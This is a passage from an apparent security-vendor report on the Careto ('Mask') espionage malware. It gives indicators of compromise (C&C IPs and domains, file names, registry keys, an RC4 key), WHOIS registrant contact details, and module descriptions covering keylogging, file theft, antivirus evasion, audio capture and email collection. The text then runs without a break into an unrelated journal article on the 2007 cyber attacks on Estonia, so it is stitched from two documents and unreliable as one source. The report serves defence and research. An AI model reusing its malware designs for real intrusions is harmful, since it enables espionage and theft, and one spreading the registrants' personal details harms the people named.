Samples of a malicious Chrome (Win32) plugin have also been located in the /ag folder: File name: plugin.crx MD5: 1f40751f3db07f88c2ffe95b6a5fde86 File size: 256596 bytes The malicious Chrome plugin has the following structure: Name Length Method Size  Ratio Date Time CRC 32 content/ 0   Defl:N     2   0 00-00-80 00:00   00000000 manifest.json 305   Defl:N     165   46   00-00-80 00:00   b500a493 plugins/ 0   Defl:N     2   0   00-00-80 00:00   d5fc6c9b plugins/ npplugin.dll 16384   Defl:N     7358   55   00-00-80 00:00   3bd3e8bb content/icon.jpg 266948   Defl:N     245924    8   00-00-80 00:00   b07ab7ee content/icon.png 2184   Defl:N     2189   0   00-00-80 00:00   276fc4e2 The plugin is loaded via Javascript from the HTML index via a file named plugin.js: 41 TLP: GREEN Figure 16: Loading plugin The plugin.js has the following content: Figure 17: Plugin.js When an unsuspecting user visits the page with Google Chrome, they get a warning indicating that Extensions, Apps and Themes can harm their computer: Figure 18: Chrome warning 42 TLP: GREEN The user has to choose Continue in order to activate the malicious plugin.
The plugin installation from the exploit site works for Chrome versions prior to 21, which was released in Mid-2012.
The npplugin.dll acts as a loader for the main malware installer, which is encoded / obfuscated in content/icon.jpg.
Its compilation timestamp is Thu Nov 07 11:00:03 2013.
File name: npplugin.dll MD5: 3299415710a29ffb55e53044fc191450 File size: 16384 bytes All the exploits on the server work with multi-component artifacts, some of them disguised into .jpg files.
Also, the communication to javascript functions is through cookies (end_cookie_18a27), a quite unusual method.
43 TLP: GREEN 2.8.
Victims During the investigation we were able to sinkhole some of the CC servers.
All sinkholed domains have been redirected to the Kaspersky Sinkhole server.
This provided detailed information regarding the location of the victims.
Additionally, some of the Command and control servers maintain a debug log which includes information about the victims such as IPs and timestamps.
This debug log file is stored in a folder named ClientsDirectory and is named log.txt.
By collecting log.txt files from various Careto CC servers, it was possible to make a more detailed map of the IPs for victims of these attacks.
Figure 19: Victims IPs by country In total, we observed over 1,000 victims IPs in 31 countries.
We have also found traces of at least 380 different victims IDs according to attackers naming schema both in logs and sinkholed requests.
The following charts correspond only to sinkholed data and ignores the historical one retrieved in log files.
This data is fresher, showing the current interest of the attackers.
44 TLP: GREEN The first chart shows the geographical distribution of the victims IDs: Figure 20: Geographical distribution by unique ID  sinkholed data In this case there is a clear outlier.
The reason is that there is a big cluster of victims in Cuba corresponding to very few IP addresses, all belonging to the same institution.
The followin chart provides the geographical location of victims IPs instead of Ids using only sinkholed data: Figure 21: Geographical distribution by victims IPs - sinkholed data In this chart we see the opposite effect than in the previous one, in this case with Venezuela, where few victims use multiple IPs.
45 TLP: GREEN Spain, France and Morocco are the only countries appearing in the top 5 in all cases.
The main targets of Careto fall into the following categories: Government institutions Diplomatic / embassies Energy, oil and gas companies Research Private equity firma Activists 46 TLP: GREEN 3.
Attribution Different malware components include language artifacts from the authors, suggesting they are proficient in the Spanish language.
Some slang words used would be very uncommon in a non native Spanish speaker.
For instance, the appleupdt[dot]com CC domain has been registered by one Victoria Gomez from Argentina.
The registration data appears fake, though.
Spanish language artifacts include: Careto - GetSystemReport v1.0 - in the waiter32/64 module Unistalling Careto - in the CDlUninstallSGH32 module Careto is a Spanish slang word for face.
Caguen1aMar - an RC4 encryption key stored in the configuration data.
Used for all communications with the command and control servers.
This would be the contraction of Me cago en la mar, a Spanish expression meaning fuck.
Accept-Language: es Accept-Encoding: gzip - in the configuration data The authors did a number of mistakes as well.
For instance, they forgot debug information in a  SGHTesterCmd module which contains a path on the developers machine: c:\Dev\CaretoPruebas3.0\release32\CDllUninstall32.pdb Pruebas means tests in Spanish.
Also there are some small mistakes in some English comments: //Attempt to move the uploaded file to its new place Unistalling Careto Uinstalling SGH In the exploiting server we have found most of the subdomains simulating newspapers from Spain.
It should be noted that Spanish is spoken in 21 countries, where it is either a national language or de facto official language.
We should also not exclude the possibility of a false flag operation, where the attackers intentionally planted Spanish words in order to confuse analysis.
47 TLP: GREEN 4.
Conclusions With Careto, we describe yet another sophisticated cyberespionage operation that has been going on undiscovered for more than 5 years.
In terms of sophisticated, we put Careto above Duqu, Gauss, RedOctober or Icefog, making it one of the most complex APT we observed.
For Careto, we observed a very high degree of professionalism in the operational procedures of the group behind this attack, including monitoring of their infrastructure, shutdown of the operation, avoiding curious eyes through access rules, using wiping instead of deletion for log files and so on.
This is not very common in APT operations, putting the Mask into the elite APT groups section.
The attacks rely on a combination of social engineering, for instance impersonating websites from The Guardian and Washington Post.
These are coupled with at least one exploit that according to media report has been sold to governments as a 0-day by French company VUPEN.
The targeting of Linux and Mac users by the attackers indicates another important trend in the world of APTs.
We previously observed this and described it with Icefog we can now say with a good degree of confidence that high end APT actors are now expanding their toolkits to include Linux and Mac support.
Also, there is evidence the attackers may have deployed Android and iOS backdoors as well.
Unfortunately, we could not locate these samples yet nor do we know how they were implanted, especially considering iOS security model.
The fact that the Careto attackers appear to be speaking the Spanish language is perhaps the most unusual feature.
While most of the known attacks nowadays are filled with Chinese comments, languages such as German, French or Spanish appear very rarely in APT attacks.
Special thanks We would like to thank OpenDNS for providing passive DNS information on the CC domains used by the attackers and support with sinkholing.
48 TLP: GREEN APPENDIX 1: Indicators of compromise Filenames: system\objframe.dll system\shlink32.dll system\shlink64.dll cdllait32.dll cdllait64.dll cdlluninstallws32.dll cdlluninstallws64.dll cdlluninstallsgh32.dll cdlluninstallsgh64.dll system\c_50225.nls system\c_50227.nls system\c_50229.nls system\c_51932.nls system\c_51936.nls system\c_51949.nls system\c_51950.nls system\c_57002.nls system\c_57006.nls system\c_57008.nls system\c_57010.nls system\cdgext32.dll system\cfgbkmgrs.dll system\cfgmgr64.dll system\comsvrpcs.dll system\d3dx8_20.dll system\dllcomm.dll system\drivers\wmimgr.sys system\drvinfo.bin system\FCache.bin system\FFExtendedCommand.dll system\gpktcsp32.dll system\HPQueue.bin system\LPQueue.bin system\mdwmnsp.dll system\rpcdist.dll system\scsvrft.dll system\sdptbw.dll system\slbkbw.dll system\skypeie6plugin.dll system\wmspdmgr.dll temp\DF01AC74D8BE15EE01.tmp temp\DF23BF45A473C42B56.tmp temp\DFA0528CD81300F372.tmp temp\DF8471938479DA49221.tmp 49 TLP: GREEN appdata\microsoft\c_27803.nls appdata\microsoft\objframe.dll appdata\microsoft\shmgr.dll Registry keys: [HKLM\Software\Classes\CLSID\E6BB64BE-0618-4353-9193- 0AFE606D6F0C\InprocServer32] CC and exploit staging server IPs: 190.10.9.209 190.105.232.46 196.40.84.94 200.122.160.25 202.150.211.102 202.150.214.50 202.75.56.123 202.75.56.231 202.75.58.153 210.48.153.236 223.25.232.161 37.235.63.127 75.126.146.114 81.0.233.15 82.208.40.11 62.149.227.3 75.126.146.114 Domains and hostnames: nthost.shacknet.nu tunga.homedns.org prosoccer1.dyndns.info prosoccer2.dyndns.info nav1002.ath.cx pininfarina.dynalias.com wqq.dyndns.org pl400.dyndns.org services.serveftp.org sv.serveftp.org cherry1962.dyndns.org carrus.gotdns.com ricush.ath.cx takami.podzone.net dfup.selfip.org wwnav.selfip.net fast8.homeftp.org 50 TLP: GREEN ctronlinenews.dyndns.tv mango66.dyndns.org gx5639.dyndns.tv services.serveftp.org .redirserver.net .swupdt.com .msupdt.com .appleupdt.com .linkconf.net 51 TLP: GREEN APPENDIX 2: SGH Modules  detailed analysis i) The Scsimap driver This driver is started by the system automatically as a service.
It is responsible for loading the rest of the malwares components and providing communication facilities between them.
It acts as a framework that glues together all the parts of the malware.
File type: Win32 driver Compilation timestamp: 2013.04.09 14:15:03 (GMT) File size: 14464 bytes Technical details The file was compiled using Microsoft Visual Studio 2003.
The driver exports three functions that provide the API for the malwares kernel-mode components: 0001086C: IopQueryInterface 00010840: IopRegisterInterface 00010888: IopSetDeviceStatusChange Creates a device: \Device\E07DB02C-387E-43b2-A6F2-C59B4934B7D6 Also creates a symbolic link to this device: \DosDevices\E07DB02C-387E-43b2- A6F2-C59B4934B7D6 The Scsimap  driver loads other modules from \SystemRoot\System32\bootfont.bin, which is an encrypted virtual file system.
It decrypts it on the fly using RC4 and loads and executes all the additional modules which are present in that file.
The module receives commands via DeviceIoControl function.
It can be commanded to load a binary from the bootfont.bin file, to write a new bootfont.bin configuration, to return the contents of that file and overwrite its contents.
A typical bootfont.bin virtual file system contains the following driver modules: Module config, 8272 bytes Module storage, 12240 bytes Module cipher, 7248 bytes Module cmprss, 2640 bytes Module loaddll, 14032 bytes Module PGPsdkDriver, 7504 bytes Module fileflt, 32080 bytes Module stopsec, 2768 bytes Module TdiFlt, 17616 bytes Module TdiFlt2, 18512 bytes 52 TLP: GREEN The modules interact with each other by exporting and importing function pointers.
Each function is identified by a numeric value.
The module that provides the function first calls the function IopRegisterInterface exported by scsimap, and the consumer function can request the function pointer by calling the function IopQueryInterface with a proper function number.
ii) Config module This modules operates the SGHs unified configuration data that is used by all other components.
Exports the following functions: 0x00 ReadConfig 0x01 WriteConfig The data is stored in the registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\scsimap\Params, Value The configuration block is encrypted with a hardcoded key using the RC4 algorithm.
iii) Storage module This module maintains two storage files: \SystemRoot\System32\c_50229.nls \SystemRoot\System32\c_50227.nls The module receives information collected by other modules and stores them in a system activity log.
Entries in the activity log are prepended with timestamps and text labels (see below).
These label correspond to internal and system events, i.e.
writing collected information to a file, starting a new process, etc.
Exported functions: 0x08 Store a log entry with a label GET 0x09 Store a log entry with a label DEL 0x0A Store a log entry with a label PUT (new data collected) 0x0B Create an additional activity log file \SystemRoot\System32\7 hex digits.tmp 0x0C Not implemented 53 TLP: GREEN 0x0D Not implemented 0x0E Not implemented 0x0F Not implemented 0x15 Get internal storage state 0x16 Get internal storage state 0x18 Get internal storage state 0x19 Store a log entry with a label PURGE 0x1F Store a log entry with a label START (system startup) 0x20 Store a log entry with a label STOP (system shutdown) iv) Storage module This module maintains two storage files: \SystemRoot\System32\c_50229.nls \SystemRoot\System32\c_50227.nls The module receives information collected by other modules and stores them in a system activity log.
Entries in the activity log are prepended with timestamps and text labels (see below).
These label correspond to internal and system events, i.e.
writing collected information to a file, starting a new process, etc.
Exported functions: 0x08 Store a log entry with a label GET 0x09 Store a log entry with a label DEL 0x0A Store a log entry with a label PUT (new data collected) 0x0B Create an additional activity log file \SystemRoot\System32\7 hex digits.tmp 0x0C Not implemented 0x0D Not implemented 0x0E Not implemented 0x0F Not implemented 0x15 Get internal storage state 0x16 Get internal storage state 0x18 Get internal storage state 0x19 Store a log entry with a label PURGE 0x1F Store a log entry with a label START (system startup) 0x20 Store a log entry with a label STOP (system shutdown) 54 TLP: GREEN v) Cipher module Provides cryptographic functions for other modules.
Exported functions: 0x10 Encrypt data with AES-128 0x11 Encrypt data with AES-128 0x12 Encrypt data with RC4 0x13 Encrypt data with RC4 vi) Cmprss module Provides compression functions for other modules.
Exported functions: 0x1A Compress data with LZNT1 using the system RtlCompressBuffer function.
0x1B Decompress data with LZNT1 using the system RtlDecompressBuffer function.
vii) LoadDll module Registers handler function for process-creation and image-load events.
The module reads the list of DLL loading rules from the configuration block and checks them when a new process is created or a module is loaded.
These rules specify the location of the DLL to be injected and the list of target process names to inject.
An example list of rules follows.
DLL: System32\vchw9x.dll targets: IEXPLORE.EXE:FIREFOX.EXE:MOZILLA.EXE:OPERA.EXE:NETSCAPE.EXE:EMULE.E XE:CHROME.EXE DLL: none targets: 1:SVCHOST.EXE DLL: System32\awcodc32.dll targets: EXPLORER.EXE DLL: System32\SkypeIE6Plugin.dll targets: SKYPE.EXE DLL: System32\nmwcdlog.dll targets: PCSUITE.EXE:NOKIAOVISUITE.EXE DLL: System32\awview32.dll targets: OUTLOOK.EXE Exported functions: 0x05 Update the list of DLL loading rules in the configuration block 55 TLP: GREEN viii) PGPsdkDriver module This module is a kernel mode keylogger.
It accesses the \Driver\Kbdclass object and intercepts the IRP_MJ_READ and IRP_MJ_PNP request handlers.
On IRP_MJ_READ requests, it reports information about pressed keys as custom activity records named KEYS ix) Fileflt module Intercepts file operations and collects information and their content if they match the filtration rules.
Maintains the file activity log file: \SystemRoot\System32\c_50225.nls Sample filtration rules follow: File mask: \ .PAB.WAB File mask: \ .WRD File mask: \ .SKR.PKR.PGP.GPG.KEY.PPK.RDP.ASC File mask: \ .DOC.XLS.RTF File mask: \ .PDF File mask: \ .DOCX.XLSX.WPS.ODT.WPD File mask: \ .GMG File mask: \ .AXX.CFE.CFD.AKF File mask: \ .ENC.MLS.HSE.P7M.P7C.P7Z File mask: \ .OCFS.M2O.M2RM2F.M15.OCU File mask: \ .VSD.OVPN.SSH.CRT File mask: \ .SXW.SDW.PSW.ODS.SXC.SDC.PXL File mask: \ .MDDATA File mask: \ .EML File mask: \WINNT\ .
File mask: \WINDOWS\ .
File mask: \PROGRAM FILES\ .DOC.XLS.PDF.RTF File mask: \PROGRAM FILES\ .DOCX.XLSX.WPS.ODT.WPD File mask: \PROGRAM FILES\ .SXW.SDW.PSW.ODS.SXC.SDC.PXL File mask: \HARDDISKVOLUMESHADOWCOPY .
File mask: \ARCHIVOS DE PROGRAMA\ .DOC.XLS.PDF.RTF File mask: \ARCHIVOS DE PROGRAMA\ .DOCX.XLSX.WPS.ODT.WPD File mask: \ARCHIVOS DE PROGRAMA\ .SXW.SDW.PSW.ODS.SXC.SDC.PXL Exported functions: 0x14 Update the file filtration rules 0x1E Append the activity log with a new data record 0x21 Append the activity log with a new data record 56 TLP: GREEN x) Stopsec module Interacts with the driver of Kaspersky products (KLIF) and tries to make own processes invisible to the anti-virus.
Exported functions: 0x1C Try to make the process with given PID invisible to Kaspersky Anti-Virus 0x1D Not implemented, only checks input parameters xi) TdiFlt and TdiFlt2 modules These modules provide facilities for intercepting network traffic.
The TdiFlt driver uses the IPFILTER driver while the TdiFlt2 uses the Windows Filtering Platform API.
Exported functions: 0x17 Return a pointer to the instance of the main class that manages the driver Although main components of the SGH package operate in kernel mode, there are several components injected as DLLs in user mode.
It is worth noting that we have only discovered a 32-bit version of the driver components while the DLL modules have corresponding 64-bit counterparts.
xii) awdcxc32 module This library is injected into the EXPLORER.EXE prcess by the LoadDLL driver component.
File type: PE32/PE32 DLL File location: windows\System32\awcodc32.dll Compilation timestamps: 2012.07.03 19:53:02 (GMT), 2012.07.03 19:55:22 (GMT), 2013.03.22 11:55:12 (GMT) File sizes: 22016, 24576, 27136 bytes Exports: 79002822: DllCanUnloadNow 7900282B: DllGetClassObject C e  e  m  ex  649B015F-A15F-c56b-494B-550BB6237F51_631345_221507 Technical details 57 TLP: GREEN All the functionality is implemented in the DllMain function.
Connects to the vchw9x component using a pipe by name taken from the configuration block (\\.\pipe\807BF02B-3F5F-4570-970A-8AADBAA55AC1) and communicates with the CC server using that component.
All communication between the component and the server is encrypted using the RC4 encryption algorithm.
The encryption key is read from the configuration block and equals to the string Caguen1aMar in all the configurations we discovered.
It also loads additional libraries specified in the configuration, i.e.
mfcn30.
The module can execute the following commands provided by the CC server: 2 Write a new executable file to disk and optionally start it 110 Update the configuration block with new CC data: URLs, encryption key 113 Update the configuration block with new file filtration rules 120 Write a new DLL file to disk and load it The files received from the CC server can be saved to the default Windows, Temporary or System directories, or any other location specified in the command.
xiii) mfcn30 module This library is loaded by awcodc32.
It provides a framework for extending the malware with additional plugins and sending the results of their data collection routines to the CC server.
File type: PE32/PE32 DLL File location: windows\System32\mfcn30.dll Compilation timestamps: 2012.07.03 19:53:03 (GMT), 2012.07.03 19:55:23 (GMT), 2013.03.22 11:55:12 (GMT) File sizes: 15872, 17920 bytes Exports: 77001295: DllCanUnloadNow 7700129E: DllGetClassObject Technical details All the functionality is implemented in the DllMain function.
Connects to the vchw9x component using a pipe name from the configuration block \\.\pipe\807BF02B-3F5F-4570-970A-8AADBAA55AC1 for interacting with CC server.
58 TLP: GREEN The module reads a list of additional plugin DLLs from the configuration block, loads these libraries and then periodically queries them for collected information.
The results are sent to the CC server via the pipe interface provided by vchw9x.
Figure 22: Sample list of additional plugins xiv) vchw9x module This module implements network connectivity features for the SGH components.
File type: PE32/PE32 DLL File location: windows\System32\vchw9x.dll Compilation timestamps: 2012.07.03 19:53:02 (GMT), 2012.07.03 19:55:21 (GMT), 2013.03.22 11:55:11 (GMT) File sizes: 18432, 20992, 22528 bytes Exports: 78001977: DllCanUnloadNow 78001980: DllGetClassObject Technical details This library is injected by the LoadDLL driver into processes from the following list: IEXPLORE.EXE FIREFOX.EXE MOZILLA.EXE OPERA.EXE NETSCAPE.EXE EMULE.EXE CHROME.EXE All the functionality is implemented in the DllMain function.
Creates the pipe: \\.\pipe\807BF02B-3F5F-4570-970A-8AADBAA55AC1 and processes commands sent via this pipe by other modules.
Once a command is received, it passes the network request to Wininet functions and returns the results to the caller module via the same pipe.
59 TLP: GREEN xv) jpeg1x32 module File type: PE32 DLL File location: windows\System32\jpeg1x32.dll Compilation timestamps: 2013.04.09 14:15:17 (GMT) File sizes: 31744 bytes Exports: 79002656: fnProcess Technical details All the functionality is implemented in the fnProcess function.
The function receives 4 parameters that define the modules behavior.
Depending on the parameters, it can: Delete the SGH components specified in the configuration block, effectively uninstalling it Delete the registry keys corresponding to the components of SGH Compile a complete system report, including directory locations, hardware parameters, list of users, processes, installed programs, MAC addresses of network adapters Call various functions of the awdcxc32 module xvi) siiw9x module File type: PE32 DLL File location: windows\System32\siiw9x.dll Compilation timestamps: 2013.03.22 11:55:13 (GMT) File sizes: 15360 bytes Exports: 78002078: DllEnumClass Technical details Main functionality is implemented in the DllMain function.
The module waits until a desktop named screen-saver appears and when that desktop becomes available it creates another desktop named DZ9PADXF and launches the default browser application there.
This functionality may be useful for stable operation of the vchw9x module on rarely used computers since that module is activated only in browser processes.
The DllEnumClass function deletes the module or removes its name from the configuration block, depending on the Windows version.
60 TLP: GREEN xvii) SkypeIE6Plugin Intercepts and records audio streams from Skype.
We have discovered only a 32-bit version of this plugin so far.
File type: PE32 DLL File location: windows\System32\SkypeIE6Plugin.dll Compilation timestamps: 2011.01.17 14:30:23 (GMT) File sizes: 73728 bytes Technical details The library has no exports, its functionality is implemented in the DllMain function.
The library hides itself by modifying the list of loaded DLL files to that its own module name appears to be windows\System32\authz.dll.
It intercepts several functions exported by system libraries to capture sound from the infected system: kernel32.dll CreateFileW dsound.dll  DirectSoundCreate, DirectSoundCreate ole32.dll  CoCreateInstance winmm.dll  waveInOpen, waveInClose, waveOutOpen, waveOutClose The module uses an additional library, windows\System32\lame_enc.dll to compress recorded audio data.
The location of recorded data is specified in the configuration block.
xviii) nmwcdlog module Gathers information from Nokia mobile devices using the Nokia OVI/PC Suite API.
File type: PE32 DLL File location: windows\System32\nmwcdlog.dll Compilation timestamps: 2011.04.26 15:07:26 (GMT) File sizes: 106496 bytes C e  e  even  o jec    Glo  l\9D14093C-8B2C-49aa-A328-35C1BDB2BC15, Glo  l\8427ACED-9495-4cb7-A13D-B98012DF6654.
Technical details The library has no exports, its functionality is implemented in the DllMain function.
It loads the Nokia Connectivity API libraries ConnAPI.dll, DAAPI.dll and tries to extract data from all available devices.
61 TLP: GREEN The module collects the following information: - device name - manufacturer name - model - serial number - list of contacts - calendar - bookmarks - SMS and MMS messages xix) d3dx8_20 module This data collection plugin makes screenshots of the victims desktop.
File type: PE32/PE32 DLL File location: windows\System32\d3dx8_20.dll Compilation timestamps:  2011.03.25 10:49:57 (GMT), 2011.03.29 13:40:06 (GMT) File sizes: 130560, 145920 bytes.
Technical details The library has no exports, its functionality is implemented in the DllMain function.
It makes screenshots of the desktop and marks the position of the mouse cursor.
Additionally, it captures the title of the foreground window.
Collected data is stored in multi-volume ZIP archives and then delivered to the CC server.
xx) WifiScan module Retrieves the list of available Wi-Fi networks.
We have discovered only a 64-bit version of this plugin so far.
File type: PE32 DLL File location: windows\System32\WifiScan.dll Compilation timestamps: 2011.03.23 08:04:43 (GMT) File sizes: 62464 bytes.
Technical details The library has no exports, its functionality is implemented in the DllMain function.
It uses the API provided by the library wlanapi.dll to retrieve information about the wireless networks visible to the infected machines Wi-Fi interfaces.
62 TLP: GREEN xxi) awview32 module This module is injected in Microsoft Outlook processes.
Collects victims email messages.
File type: PE32/PE32 DLL File location: windows\System32\awview32.dll Compilation timestamps: 2011.06.10 12:27:40 (GMT), 2011.06.10 16:46:57 (GMT) File sizes: 26624, 45056 bytes.
Technical details The library has no exports, its functionality is implemented in the DllMain function.
The module implements the Microsoft Outlook add-in interface and ensures it is requested by hooking the OLE2 API.
It receives events from the Outlook application, collects the e-mail messages and writes them to the temporary directory.
xxii) CDllUninstall module File type: PE32/PE32 DLL File location: non, is executed in memory Compilation timestamps: 2013.06.20 11:58:03 (GMT), 2013.06.20 11:58:08 (GMT) File sizes: 11264, 13824 bytes Technical details Having its filename related to the SGH package, this module is actually a command package for Careto.
It is transmitted by the CC servers as a CAB archive containing 32-bit and 64-bit versions of its DLL and the accompanying Meta.inf file.
The contents of the archive follow: Name File Size Date Time Meta.inf 548 bytes 28.10.2013 17:20:12 CDllUninstallSGH64.dll CDllUninstallSGH32.dll 13824 bytes 11264 bytes 28.10.2013 17:20:12 28.10.2013 17:20:12 The Meta.inf instructs the Careto instance to load the DLL appropriate for the system architecture: Mon Oct 28 17:20:14 GMT 2013 DLL32_FILE_NAMECDllUninstallSGH32.dll DLL64_FILE_NAMECDllUninstallSGH64.dll DATE_GENERATION20131028T172014.101 TYPECMD CLIENT_IDclient id CMD_SEQ0002 INST_IDinstallation id SUB_TYPECANNEDDLL TARGET_PROCESSEXPLORER PRODUCT_CODEC316 63 TLP: GREEN The module uninstalls both Careto and SGH from the infected computer.
Its internal name is CDllUninstall v1.0.0.
It explicitly names the software packages with their original names by writing the following strings in the uninstallation log: 1.
Unistalling SGH ... 2.
Unistalling Careto The module contains hardcoded locations of the files that are removed and registry keys to be removed or restored.
For SGH, these are: HKLM\SYSTEM\ControlSet\Services\scsimap systemroot\System32\bootfont.bin c:\Windows\System32\bootfont.bin systemroot\System32\drivers\scsimap.sys c:\Windows\System32\drivers\scsimap.sys For Careto, it first determines the location of the main module by reading the registry value from: HKLM/HKCU\SOFTWARE\CLASSES\CLSID\ECD4FC4D-521C-11D0-B792- 00A0C90312E1 The main module is removed and the original registry value is restored from the registry key: SOFTWARE\CLASSES\CLSID\E6BB64BE-0618-4353-9193- 0AFE606D6F0C\InprocServer32 64 TLP: GREEN APPENDIX 3: CC registration information Most of the Careto CC hosts were registered through the free service DYN.COM.
Some of the domains however are stand-alone .COM and .NET registration.
The registration data is partly visible in a few cases: Domain Name: APPLEUPDT[dot]COM Registrar WHOIS Server: whois.publicdomainregistry.com Registrar URL: www.publicdomainregistry.com Updated Date: Creation Date: 25-Feb-2009 Registrar Registration Expiration Date: 25-Feb-2019 Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com Registrar IANA ID: 303 Registrar Abuse Contact Email: abuse-contactpublicdomainregistry.com Registrar Abuse Contact Phone: 1-2013775952 Domain Status: OK Registry Registrant ID: DI_9419517 Registrant Name: Victoria Gomez Registrant Organization: N/A Registrant Street: CL Esmeralda No 1332 Registrant City: Buenos Aires Registrant State/Province: Buenos Aires Registrant Postal Code: C1007A Registrant Country: AR Registrant Phone: 541.141311903 Registrant Email: victoriag150googlemail.com Domain Name: MSUPDT[dot]COM Registry Domain ID: 1080338848_DOMAIN_COM-VRSN Registrar WHOIS Server: whois.publicdomainregistry.com Registrar URL: www.publicdomainregistry.com Updated Date: 18-Jun-2013 Creation Date: 11-Jul-2007 Registrar Registration Expiration Date: 11-Jul-2017 Registrar: PDR Ltd. d/b/a PublicDomainRegistry.com Registrar IANA ID: 303 Registrar Abuse Contact Email: abuse-contactpublicdomainregistry.com Registrar Abuse Contact Phone: 1-2013775952 Domain Status: clientTransferProhibited Registry Registrant ID: DI_6819375 Registrant Name: Anne Rasmussen Registrant Organization: msupdt.com Registrant Street: Storgatan 21 Registrant City: Goteborg Registrant State/Province: Registrant Postal Code: 41296 https://reversewhois.domaintools.com/?emailb753ee475870c3e09055ead90c044880 https://reversewhois.domaintools.com/?emailc3c6c3bb94c5ba815d25041eb9f90560 https://reversewhois.domaintools.com/?emailb753ee475870c3e09055ead90c044880 65 TLP: GREEN Registrant Country: SE Registrant Phone: 46.318831056 Registrant Phone Ext: Registrant Fax: 46.318831056 Registrant Email: anne30vfemail.net Registry Admin ID: DI_6819375 Domain Name: linkconf[dot]net Registry Domain ID: 1710052877_DOMAIN_NET-VRSN Registrar WHOIS Server: whois.gandi.net Registrar URL: http://www.gandi.net Updated Date: 2013-10-23T18:46:03Z Creation Date: 2012-03-30T12:12:52Z Registrar Registration Expiration Date: 2017-03-30T12:12:52Z Registrar: GANDI SAS Registrar IANA ID: 81 Registrar Abuse Contact Email: abusesupport.gandi.net Registrar Abuse Contact Phone: 33.170377661 Domain Status: clientTransferProhibited Registry Registrant ID: Registrant Name: JOAQUIM COSTA Registrant Organization: Registrant Street: Rua do Carmo 26 Registrant City: Braga Registrant State/Province: Registrant Postal Code: 4700-309 Registrant Country: PT Registrant Phone: 351.253204804 Registrant Email: 531becdfa3836a9be267950583190dbc- 1471114contact.gandi.net https://reversewhois.domaintools.com/?email99ec5b74165233d5e49e48eda905d55b https://reversewhois.domaintools.com/?email5349ebc5d0f514a93f68574c1a646458 https://reversewhois.domaintools.com/?email0c9462fab2e55438f1a5446cea297f67 https://reversewhois.domaintools.com/?email0c9462fab2e55438f1a5446cea297f67
Volume 11, 2009                                                   Baltic Security  Defence Review 4 Impact of Alleged Russian Cyber Attacks By William C. Ashmore During a two week period in April and May of 2007 Estonia was the victim of a sustained massive cyber attack on its information infrastructure.
While the cyber attack was not the first nor was it the largest, it was the first cyber attack that was directed at the national security of a country.
(
Davis, 2009) The significance of a cyber attack on a small country can be difficult to measure for a casual observer.
Estonia is a small country that can be seen as a model for the future.
Estonians have developed and used internet technology for voting, education, security and banking (ninety-five percent of banking operations are done electronically) (Collier, 2007).
It is not uncommon to see a sign for free Wi-Fi internet access at a pub, restaurant or on public transportation.1 Imagine going to an Automated Teller Machine (ATM), while on a business trip, to get money for meals and lodging and the system is down.
Restaurants and hotels are unable to process your credit card.
You try to send a message to your bank, your work, and your family but the computer servers are all down.
The government is unable to communicate with the public and its different departments.
News agencies are having difficulties publishing information.
The aftermath of a cyber attack can impact anyone that uses the internet, whether it is an individual, business, or government that has been affected.
By investigating the attack, how it happened, and Estonias reaction, states can decide whether their internet defences and strategies are adequate.2 The cyber attacks on Estonia have implications for both its allies and adversaries.
This article is not meant to establish a complete strategy for cyber defence but to create a better understanding of how a cyber attack can have far reaching consequences beyond the immediate aftermath of a targeted infrastructure.
What are the implications for Estonia?
Is the framework of the North Atlantic Treaty Organization (NATO) appropriate for cyber defence?
Is an attack against one really an attack William C. Ashmore is a Major in U.S. Army.
Baltic Security  Defence Review                                                   Volume 11, 2009 5 against all?
Does the Organization for Security and Co-operation in Europe (OSCE) have the ability to react to cyber attacks?
Lastly, does the Russian Federation have a coherent cyber strategy that it is willing to use and what have been the consequences for Russia?
Any country that uses the internet as part of its infrastructure needs to be aware of the vulnerabilities and consequences of a cyber attack on their system.
A coherent strategy must include internet defences that are set-up in conjunction with technical defences.
Currently, legal definitions for cyber crimes do not exist in all countries.
The international community must examine treaties and update them to better define assistance and common defence in the event of a cyber attack.
Russians have shown the ability and the desire to use cyber warfare.
Cyber strategy by, in defence of, or against Russia affects more than computer networks.
Although, attacks that originate in China, Japan or the United States may have similar implications they are outside of the scope of this article.
Internet attacks occur on a daily basis throughout the world.
How nations prepare themselves for an internet attack will determine the impact of a cyber attack on their infrastructure.
The aim of this article is to achieve a greater understanding of the possible Russian cyber strategy and to understand the counter measures that can be used to prevent or mitigate cyber attacks.
This awareness could possibly prevent a tactical defeat during conflict when a cyber attack targeting command and control and communications infrastructure is blocked.
1.
The media accounts Internet trade magazines and mass media reports were used to gather evidence on the events surrounding the cyber attack on Estonia.
Internet sources were a major source of information on the subject of cyber security because of the amount of information that is new and has not yet been published in books.
Several Estonian government officials have spoken on the issue of cyber attacks at great lengths.
Estonian government documents were also used to analyze the Estonian response to the cyber attack.
Media accounts along with documents from the North Atlantic Treaty Organization (NATO) and the Organization for Security and Co- operation in Europe (OSCE) were used to analyze the aftermath of the Estonian cyber attack on organizations and other states.
Analysis of Russian involvement was conducted using western documents.
Volume 11, 2009                                                   Baltic Security  Defence Review 6 In order to understand the reasons behind the Estonian cyber attack this article will explore the social tensions and the cyber attack itself.
The impact that the attack had on the different actors will also be noted.
The reality of the attacks indicates some important implications for Estonia and other former Soviet satellites to work with NATO to develop a coherent cyber strategy.
Russias cyber strategy also has considerable significance for the United States.
This article will conclude with a summary of possible countermeasures to a cyber attack.
2.
Cyber attack on Estonia The social tensions between Estonians and Estonias Russian minority are key to understanding why there was a cyber attack.
Estonia is made up of 1.3 million people where 25.6 percent of the population is Russian (Central Intelligence Agency, 2008).
In 1918, the Estonians gained their independence from Russia, and in 1940 they were forced into the Soviet Union.
From 1940 until they regained their independence in 1991 Estonia viewed Russias presence as an illegal occupation.
Mass deportations were made, people were summarily executed, and the population was resettled by ethnic Russians.
Russians on the other hand view the Estonians as ungrateful because they were saved by Russians from the Nazi German fascists.
Today there exists significant animosity between the Russians and the Estonians that permeate personal relationships and political interactions within the country and between the two nations.
(
Vesilind, 2008)3 The actual events that occurred in Estonia centred on the Soviet Bronze Soldier monument.
The Bronze Soldier monument is a World War II Soviet War memorial which memorialized the graves of Soviet Soldiers who died during World War II.
However, over time ethnic Russians had used the memorial as a rallying site for demonstrations and other forms of protest against the Estonian government.
This led to a decision by the Estonian government to move the monument to an area that was less public.
(
Davis, 2009) The decision to move the statue led to actual riots in the capital city of Tallinn on April 27th, 2007.
The demonstrations degraded into criminal activities involving looting and the destruction of private and public property.
